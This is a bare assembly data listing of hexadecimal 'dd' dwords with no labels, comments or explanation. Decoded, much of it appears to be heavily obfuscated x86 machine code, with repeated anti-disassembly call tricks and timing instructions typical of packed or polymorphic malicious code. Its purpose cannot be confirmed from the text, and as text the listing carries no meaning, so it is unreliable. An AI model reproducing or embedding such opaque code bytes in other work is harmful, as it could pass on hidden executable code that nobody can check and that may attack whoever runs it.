		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 0F5C08B00h, 5DB589F9h, 83064400h, 441071BDh
		dd 850F0306h, 48Eh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0D8C35242h, 432A13E7h, 860776F2h, 0B760BD83h
		dd 0F000647h, 45D84h, 19BD0B00h, 0FF064424h, 47B760B5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1404h
		dd 0C3524200h, 55B501FDh, 0FF064431h, 44069995h, 49BD2306h
		dd 8B064419h, 47B754B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0E566FADCh, 0DCE635B0h
		dd 0DE8CA5Fh, 0F6000000h, 25E66C73h, 417ADE66h,	0B1465295h
		dd 2BE5BD8Bh, 0C75B0644h, 1000106h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 63A8FE90h
		dd 370EFAB4h, 96FFB70Fh, 19810Fh, 0E9520000h, 12h, 58742186h
		dd 0B9D08DA8h, 0F070EBC1h, 9D7EDD71h, 505F1E3Ch, 11E8h
		dd 0C93A8700h, 20F2BDB1h, 1EB341F0h, 0C9CA3FF0h, 50535521h
		dd 5A310F52h, 965B5F58h, 0D5BD8B52h, 5F064433h,	0B760B5FFh
		dd 6A0647h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 0E9EB28C3h, 0FFF98B66h, 441E0195h, 0BD896006h
		dd 6442C31h, 6140CA80h,	269BD0Bh, 0B58B0644h, 647B754h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 70C35545h
		dd 896288Dh, 2E71858Bh,	0BF0F0644h, 0C48689FFh,	60000000h
		dd 11E9h, 46633200h, 0E42EC420h, 53170830h, 4365A233h
		dd 0D6819AD7h, 75BD9AD1h, 9BD8B61h, 8B064403h, 442F5D95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0F780F6E8h, 4C283FDh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 0F9C35545h,	897DB3E1h, 14E82050h
		dd 84000000h, 0BDDA4904h, 0AF79EE2Dh, 0B9301B00h, 258F58E1h
		dd 53861705h, 858D5B5Bh, 647CAA0h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 35C35040h, 20F9E6B8h, 3A095FF1h
		dd 0B88689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1B0424h, 56460000h, 9BDC42C3h, 0BE0F2242h, 8B006A36h
		dd 440B219Dh, 60B5FF06h, 660647B7h, 12E9FE8Bh, 0B0000000h
		dd 76A83BBDh, 8906D31Dh, 838A46DDh, 4BDE59EAh, 6D95FF15h
		dd 66064429h, 11E8D98Bh, 0EA000000h, 0D061A3DCh, 4F34D70Dh
		dd 0EF801AA8h, 36E26D06h, 99D9BB57h, 5B5F7CFAh,	0E6B06096h
		dd 50616CB2h, 6A96FB8Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 0A530C357h,	0BD8B0972h
		dd 6441A79h, 0B760B5FFh, 870F0647h, 6, 2445BD89h, 95FF0644h
		dd 64417D9h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 14h, 0BDC35545h, 83F9FB8Bh
		dd 4414B5BDh, 840F0006h, 39h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 0AFC35141h,	4DE17498h, 0F9BF0F77h
		dd 1909BD8Bh, 60500644h, 66D18B66h, 8961CA8Bh, 0CB802434h
		dd 60B5FF60h, 0E90647B7h, 6, 0FE9CD06Ah, 95FFBD1Ch, 6442E7Dh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 86C35141h
		dd 7C2D4B36h, 89605411h, 44098995h, 0FF61F506h,	47B760B5h
		dd 0BE906h, 4E8D0000h, 7CAFE59Fh, 0C0EE229Bh, 4195FFDAh
		dd 6A064414h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 0BC2CC353h, 0C0FE784Eh, 9D8938B3h
		dd 6442A79h, 0A85BD83h,	0F020644h, 5884h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 3527C051h, 0FA94E743h, 858BC8EEh, 6441591h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0BAC35747h, 0A2FF5264h
		dd 4C7A6B79h, 8C0Fh, 0C60000h, 5985C700h, 64417h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 0CDAC357h, 525E8640h, 1FEF8166h, 98E95F33h
		dd 6AFFFFF2h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1C042444h, 41000000h, 0FB8AC351h, 5895E85h, 31A68F83h
		dd 442F2DB5h, 5E906h, 65FC0000h, 8B66CC3Dh, 53006AC1h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 0A20CC77h, 0D41C870Eh, 0E1858D30h, 306441Bh,	441BB1BDh
		dd 0F509006h, 0A85h, 4850F00h, 66000000h, 9008E0BBh, 2880Fh
		dd 0FD8A0000h, 6A006Ah,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0FC6F8DC3h, 2711BB0Ah, 6A59E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 1CC35747h
		dd 0A5BD0962h, 8D06442Eh, 48E87185h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 60FC8A62h
		dd 261DB589h, 0BD8B0644h, 6442871h, 5C08361h, 3A44DB81h
		dd 0F90550Ah, 1888h, 13E900h, 0E2D50000h, 41DE2F0Eh, 42419191h
		dd 0F78E9C40h, 0FAA31F73h, 89905003h, 441C519Dh, 6AF806h
		dd 6B599FBBh, 6A006A64h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0CDABC352h,	8F0F39DAh
		dd 0
		dd 182595FFh, 6A0644h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0AEA3B3C3h, 6870Fh, 8D290000h, 64429CDh
		dd 9A978D8Dh, 0E3810647h, 6DD40A12h, 6AD1FFh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 89DD3EC3h
		dd 442A99B5h, 359D8B06h, 8306441Eh, 442F11BDh, 850F0106h
		dd 6Bh,	8B0Fh, 26A0000h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0A2C35242h, 27551C16h, 0E6935530h, 33B1B531h
		dd 0BF660644h, 0F90E9CDh, 88Ah,	52505000h, 585A310Fh, 0DE8505Bh
		dd 76000000h, 0BA815E8Dh, 11A2E771h, 0E0BC3EC2h, 905FFE8Bh
		dd 0FFDE8B66h, 44296D95h, 298D8906h, 0E9064410h, 1007h
		dd 0E8h, 0ED815D00h, 648E87Bh, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 9CC35242h, 128E1136h, 180A2CBBh
		dd 6E8576Dh, 11000000h,	43186637h, 9D9D8B98h, 5B06442Bh
		dd 9D89535Bh, 6441C3Dh,	53006A5Fh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0F1E7164Fh, 0E9E1E874h
		dd 0Fh,	8CA7AA96h, 48C203C9h, 0CB0BFB50h, 0E8C9A671h, 7
		dd 3BA683E6h, 0F57B3E3Bh, 58858D5Fh, 0E806478Bh, 0Bh, 71C47955h
		dd 42C22D49h, 2316AD03h, 441F6DBDh, 50505B06h, 0FA8B752h
		dd 7B66031h, 5A61FA8Bh,	24048958h, 0F8DBD8Bh, 95890644h
		dd 6441CF1h, 35FF64h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 682C355h, 19D955Ah
		dd 5D95892Dh, 64064410h, 2589h,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6A38DBC3h
		dd 16DB8166h, 0B19D8B84h, 0FF06440Ah, 4408E985h, 59B58906h
		dd 6A06442Fh, 51006AFFh, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 8E62EA22h, 2D95B589h, 0B5FF0644h
		dd 6440D41h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	2DC35646h, 775196D3h, 252DEA8Fh, 0DEB747BBh, 8195FF38h
		dd 0E9064422h, 110h, 24358D29h,	800F0644h, 0
		dd 5B5100B0h, 895270E6h, 440DDD95h, 71E45B06h, 10799589h
		dd 613C0644h, 0E6830Fh,	0AE90000h, 40000000h, 228B979h
		dd 0EA0B4CFAh, 0C8B60F31h, 26319D8Bh, 6BA0644h,	0BF000000h
		dd 1B31A21Eh, 7199D8Bh,	0C18B0644h, 9E8h, 1520FD00h, 79899A9Ah
		dd 0C15F8500h, 816604E8h, 66E2E2F7h, 9ABFE2F7h,	2B39DFA2h
		dd 0DE8C8h, 6A3E0000h, 14371F27h, 0CD82FB8h, 0F240CFEh
		dd 86h,	0D18B5F00h, 79E9FA8Bh, 89000000h, 441EDD9Dh, 0A5BD8B06h
		dd 8B064430h, 4C4C4485h, 83DE8B5Fh, 0BB6607C0h,	0C0834858h
		dd 45BD8900h, 3B06442Eh, 1D830FD0h, 0E9000000h,	10h, 6CB88BDBh
		dd 0E7CC4CB5h, 0B4C17817h, 0CDDF3750h, 33E9h, 0DAB70F00h
		dd 0FFFF8D8Bh, 0BF0FFFFFh, 1E183FFh, 1E840Fh, 0A5830000h
		dd 0FFFFFFFFh, 719D2BFEh, 8906442Dh, 4C4C4495h,	65BD895Fh
		dd 0E906440Fh, 0
		dd 63F2B58Dh, 6A0648h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 283978C3h, 0BF006A82h, 50DE1690h
		dd 2BCD9529h, 95FF0644h, 6441C4Dh, 2C719D8Bh, 0BE90644h
		dd 1B000000h, 0AF65460Eh, 0C088CAFCh, 5EB9F8F4h, 6A000010h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 1127C357h, 893F64EDh, 442D0D9Dh, 0FCE18306h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 19C35646h
		dd 44F78174h, 0FC325741h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 2EC35343h, 0BF9FD50Dh, 4D17DCB6h, 68F0Fh
		dd 0BD310000h, 6442A45h, 0B8h, 0DDBD8900h, 2B06441Bh, 0BD8951D2h
		dd 6442575h, 0C233AD5Fh, 0D003E8D1h, 7504E983h,	0B5BD8BF4h
		dd 81064425h, 40FCEDDFh, 699D8B59h, 0D064403h, 88h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 36C35646h, 46A2C781h
		dd 958B3A19h, 6442F5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 9CC35141h, 0E1BD3311h, 8B06440Ch, 4406798Dh
		dd 0F98D8906h, 50064428h, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 51006A58h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1804h, 0C3514100h, 268BC9A4h, 8BFA8B0Dh, 57006AFBh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0ADBD83EFh, 6442Ch, 0A4840Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0BF0FB5C3h
		dd 8E9D9h, 9DDE0000h, 41EDDCDCh, 0B85F06h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 0E014C351h, 0BEB2733Ch, 0DE8h, 140ED900h, 0E474EDE1h
		dd 0B7A24556h, 8D5BD88Eh, 444E558Dh, 2860F06h, 8B000000h
		dd 88D0FDFh, 0F000000h,	28Eh, 0FF616000h, 53006AE1h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h
		dd 0F38166DEh, 0BD835678h, 6441071h, 3840F00h, 0E9000005h
		dd 11h,	0B02807B8h, 5C40023Eh, 1BE3A7E7h, 39DBA1B5h, 71BD8379h
		dd 1064410h, 4FB840Fh, 8D290000h, 64403C5h, 1071BD83h
		dd 0F030644h, 4B286h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 604782A1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 99C35141h, 10E9BAh
		dd 32AF0000h, 0B7F7E2F4h, 6C6FFD4Dh, 0B2D18922h, 8C66F224h
		dd 53006AD9h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 3F536395h, 12E837h, 8EB80000h, 23A5833Bh
		dd 1A6CA74Ah, 7244D3Ch,	9A1ADA94h, 8D00E8BBh, 0E1805F0Dh
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 0B509D78Dh, 6440B31h, 840FC90Ah,	126h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 62C35747h, 3650CD19h
		dd 6617ABADh, 858BD98Bh, 6440AD5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Ah, 0ABC35242h,	0A9C9CCEh, 0BD8B6E62h
		dd 6443021h, 3BD8533h, 6A0644h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 20CF1EC3h, 0ABB7E5F7h
		dd 24048950h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 15h,	52C35646h, 0D19D239Ah, 0F064425h, 680h,	75BD8B00h
		dd 6A06442Bh, 3511BF00h, 0DABB2A39h, 686AAEBCh,	67D2C4D8h
		dd 81FA8B66h, 0C7272434h, 0BD8B67CDh, 6440CB9h,	8195FFh
		dd 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 858906C3h, 647B760h, 2FB9BD8Bh, 47E90644h
		dd 6A000002h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0C42FC352h, 2F1BBBDFh,	858B20F6h
		dd 647B758h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	69C35343h, 1800C751h, 0F000000h, 0B80h,	6E900h
		dd 0EF300000h, 9BA281B6h, 0B75CB58Bh, 858B0647h, 644300Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0E4C35545h
		dd 3E41353Dh, 896DBC21h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 39EF1924h, 8589A865h
		dd 6442DEDh, 0AD5858Bh,	6A0644h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 4432DFC3h, 52C62406h
		dd 8166CF99h, 89ADDEE7h, 6A0446h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 8A4C4BC3h, 859856C1h
		dd 0ECF815Dh, 0F0F93FCh, 680h, 5D9D8900h, 50064408h, 4E6195BFh
		dd 2434895Fh, 1FB18D89h, 0B5FF0644h, 647B758h, 33A18D89h
		dd 4E80644h, 0FF000000h, 0E8001F03h, 0Dh, 6CD27D80h, 1971F497h
		dd 695D5572h, 0C2BB6615h, 0E9505F9Ch, 0Fh, 717948B1h, 0C32E7DE4h
		dd 8A5BBB87h, 8B02C086h, 8B042444h, 0BE800h, 0CAA20000h
		dd 0C436C7Eh, 2A55C17Bh, 11820F15h, 0E8000000h,	0Bh, 5CCF0A63h
		dd 5D6A7A4h, 5BCC01DAh,	2444895Fh, 2800F04h, 8A000000h
		dd 8D8958D9h, 6441D2Dh,	0B760858Dh, 6A0647h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0D10567C3h
		dd 0E9605276h, 9, 5E153C82h, 476B64D9h,	905B61CAh, 1DBF6656h
		dd 60505F0Bh, 8830BB66h, 90615F56h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 91C35242h, 0E4A3713Eh, 5FFBB753h
		dd 8195FFh, 6A0644h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0F267A8C3h, 869B6072h, 1E25B589h
		dd 6A610644h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1D042444h, 40000000h, 0C701C350h, 5227477Eh,	2C95A3F0h
		dd 107185C7h, 30644h, 8E0F0000h, 11h, 0CE9h, 0A12D6E00h
		dd 46414A3h, 0E81427A9h, 60BD8381h, 647B7h, 55840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 805257C3h, 8B8945F7h, 48E9DAh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 89E48DC3h
		dd 8B663D53h, 0B0BB66DAh, 31B58996h, 5006440Ah,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 0BD03C08Bh
		dd 64428DDh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0E3C35646h, 0AAA40182h,	1071BD83h, 0F030644h, 51085h
		dd 518D0900h, 8306441Ah, 47B760BDh, 840F0006h, 4FDh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 70C35242h, 16A764D5h,	3BB728CFh, 4850Fh
		dd 8B560000h, 0B5FF5BFBh, 647B760h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 2BC35545h, 58B79C17h, 1858915h
		dd 0F06442Ch, 583h, 9C6CBF00h, 95FF3D18h, 6440699h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F4C35141h, 8B8DAC97h
		dd 47B754B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 98BDE702h, 3F492312h, 9D8BB2EDh
		dd 6442EE9h, 0DE9h, 39A23F00h, 7F5A10D2h, 4B6282Dh, 6C71B23h
		dd 10001h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	6CC35141h, 0CE6A5F3Ch, 0E896F56Dh, 9, 684BD370h
		dd 0DAAB4ACFh, 2943BFF7h, 505B5BA3h, 0C9C1BB66h, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0E37C9C8h, 502D576Ah, 0C7816656h, 0B5FF7576h, 647B760h
		dd 14E8h, 0EA216400h, 3A15C0EFh, 0F666CD7Fh, 83468421h
		dd 21F04046h, 7DBD0B3Eh, 5B064418h, 1E0195FFh, 6A0644h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 94AD29C3h, 140C4E68h, 0F99F4FFh, 680h, 49B58900h, 8B064419h
		dd 47B754B5h, 850F6006h, 1, 858B61F5h, 6442E71h, 459CD781h
		dd 86892513h, 0C4h, 358531h, 0B70F0644h, 5D958BDFh, 0BB06442Fh
		dd 530EA8FAh, 248DBD8Bh, 0C2830644h, 0A19D0B04h, 89064424h
		dd 0B70F2050h, 0A0858DDFh, 0BF0647CAh, 6A4BA8C4h, 0B88689h
		dd 0BB660000h, 6A5DA7h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0D7C35242h, 936610CEh, 97E98C9h, 4417B1BDh
		dd 0A840F06h, 60000000h, 860F5856h, 0
		dd 41BD2961h, 0FF064420h, 47B760B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1C04h,	0C3514100h, 0AD605496h
		dd 84E62DA5h, 0FFB7B70Dh, 44296D95h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 8AAC5E5Eh
		dd 11E921h, 7BEC0000h, 1E448AE1h, 1E4DDE83h, 7938202Ah
		dd 504EF101h, 310F5250h, 8B0F50h, 5F000000h, 3489585Ah
		dd 0C59D8924h, 89064413h, 4402B5BDh, 60B5FF06h,	6A0647B7h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 2A71C353h, 0BC72F6E9h, 8D01C654h,	6442E01h
		dd 17D995FFh, 6A0644h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 754F17C3h, 83FEB70Fh, 4414B5BDh
		dd 840F0006h, 8Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 51C35141h, 0E0B5F879h, 30659531h, 1500644h
		dd 44260985h, 60965B06h, 0AE10BA66h, 0F605061h,	68Eh, 0F525000h
		dd 50585A31h, 0F5F5152h, 10E831h, 0A7530000h, 0A8277DDFh
		dd 0BB1C7CA2h, 8A18675Eh, 5A5BD225h, 6A966158h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 3208C351h, 0DCCEEB47h, 0EB811EA7h, 0EE020B3h, 0FFF88B66h
		dd 47B760B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1704h, 0C3574700h, 772531C0h, 15118D89h, 0B5890644h
		dd 6440CE9h, 2E7D95FFh,	6A0644h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 91F929C3h, 0F2FBE9F9h
		dd 10830FBEh, 0E9000000h, 0Bh, 0D8C07CC6h, 8D970B57h, 0FF367A75h
		dd 47B760B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 3111235Ah, 0D3876B24h, 519D8930h
		dd 0FF06440Dh, 44144195h, 85BD8306h, 206440Ah, 6D840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
		dd 57470000h, 81F7DAC3h, 8CD262EFh, 91858B3Ch, 6A064415h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 16042444h
		dd 45000000h, 2858C355h, 0C6BBh, 0E852006Ah, 3,	5AC35A20h
		dd 4245489h, 4244481h, 15h, 0EFC35242h,	0D58D89D5h, 0C7064409h
		dd 44175985h, 6, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 0FCA4C0Bh, 89h, 0F19DE900h
		dd 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 0E80E25C3h, 13E87CCBh, 4A000000h,	358A88C4h
		dd 0A40E0A8h, 0F71522Eh, 6C0EE197h, 95895BB3h, 6441BBDh
		dd 69C7805Fh, 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0D21D2FC3h, 0A238634Ch, 71BD8B6Ch
		dd 8D06441Fh, 441BE185h, 0EB816606h, 8A508B1Dh,	240489FCh
		dd 0F2FE381h, 6A2A8Dh, 0FE8h, 913F1D00h, 7BDBBB07h, 973AFD26h
		dd 38C3B962h, 6A5BDF8Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E96B55D8h, 10h, 0F5CC9A6Fh
		dd 0CEF6614h, 9261D547h, 0CF55401h, 1BC1BD31h, 858D0644h
		dd 648FA52h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	1C35343h, 8B34611Fh, 5C083F9h, 1618C8BFh, 0BF669043h
		dd 0E850F107h, 0Bh, 89DE6774h, 2AEFF485h, 0E8F0D347h, 9
		dd 56CE85EBh, 9D2386FFh, 810F0Fh, 5B000000h, 6A905Fh, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 0BDD6AFC3h, 66E06071h, 6AFA8Bh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 16h, 0ABC35141h,	6A509Ah, 4BABBF66h
		dd 359BD8Bh, 95FF0644h,	6441825h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 66C35747h, 1232F55Ah, 8DDF8B45h
		dd 479A978Dh, 0AE906h, 8BCB0000h, 4B730348h, 2B484348h
		dd 0BF66D1FFh, 0BD83F434h, 6442F11h, 6D850F01h,	0BF000000h
		dd 78DA52E2h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 9D8B96C3h, 6441A95h, 52525090h
		dd 880Fh, 0F5F0000h, 0DE8B5331h, 50585A5Bh, 859D8B90h
		dd 0FF06441Eh, 44296D95h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 0B719DCC8h
		dd 0BE4DFEAFh, 0D22E9h,	0E800h,	815D0000h, 48FA5CEDh, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 31BB9530h, 0ED703EAEh, 0D319529h, 6A0644h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 940421C3h
		dd 0D71404A1h, 8B58858Dh, 7DBB0647h, 90769F19h,	2820F50h
		dd 60000000h, 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0D8DD13C3h, 6870Fh, 0BD8B0000h
		dd 6440D6Dh, 31019D03h,	95010644h, 6443109h, 35FF64h, 66000000h
		dd 641628BFh, 2589h, 0D4BF0000h, 0FF745CBAh, 4408E985h
		dd 0F3BF6606h, 6AFF6AB3h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0D7C9C352h,	9ABF66D0h
		dd 71B5FF5Ah, 0FF064400h, 44228195h, 112E906h, 9D090000h
		dd 64413EDh, 0BD8B00B0h, 64417C9h, 958970E6h, 6440039h
		dd 0BD8B71E4h, 6442389h, 830F613Ch, 0ECh, 0F18B6660h, 61F38B66h
		dd 66C8B60Fh, 18D8D781h, 6BAh, 0DD858900h, 0E8064417h
		dd 0Eh,	0F7161FC0h, 0FE2BC48Bh,	3CC1B091h, 8B602D42h, 441A059Dh
		dd 0ED8D8B06h, 61064431h, 29C18B5Bh, 441A4585h,	4E8C106h
		dd 2FB1B589h, 0F7660644h, 0AE9E2h, 12460000h, 0B8E2E731h
		dd 6B9AECFDh, 9D8BC82Bh, 6442BB9h, 0F60D18Bh, 684h, 69850B00h
		dd 6106441Ch, 6FE9h, 7743BB00h,	858B6275h, 47554C50h, 999BD89h
		dd 0F98B0644h, 8907C083h, 441BFD9Dh, 0C08306h, 1BFB3BBBh
		dd 0FD03B2Bh, 0F83h, 0DF816600h, 0F88A3F25h, 37E9h, 0F8BF0F00h
		dd 0FFFF8D8Bh, 0BF66FFFFh, 0E183786Eh, 21840F01h, 0F000000h
		dd 0A583FFB7h, 0FFFFFFFFh, 659D0BFEh, 89064415h, 554C5095h
		dd 0A58D8947h, 0E9064413h, 0
		dd 7450B58Dh, 0E8600648h, 6, 1C8274A3h,	958BBE01h, 6440C5Dh
		dd 6A61F859h, 0F59D8B00h, 0FF06442Dh, 441C4D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 6EE6578Dh, 0BC00FA4Eh, 0F3FB9h, 83F88B00h, 8509FCE1h
		dd 6442D05h, 58F0FFCh, 51000000h, 5F07DF80h, 0B8h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 2BC090EFh, 51006AD2h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 6636C468h, 0CAF6F381h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 6EC0BF66h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 18h, 6DC35646h, 0F81CDB0h, 880Dh
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 57F317A8h, 2ECD9D0Bh, 8B5B0644h,	442F5D95h
		dd 0A1950906h, 8B064400h, 4406798Dh, 0F6FBF06h,	8B5050CFh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 250D9D03h
		dd 6A0644h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 657EF5C3h, 0B70F0E57h, 0ADBD83DBh, 6442Ch
		dd 84840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 140424h, 52420000h, 890F44C3h, 6, 1DC1B589h,	0B80644h
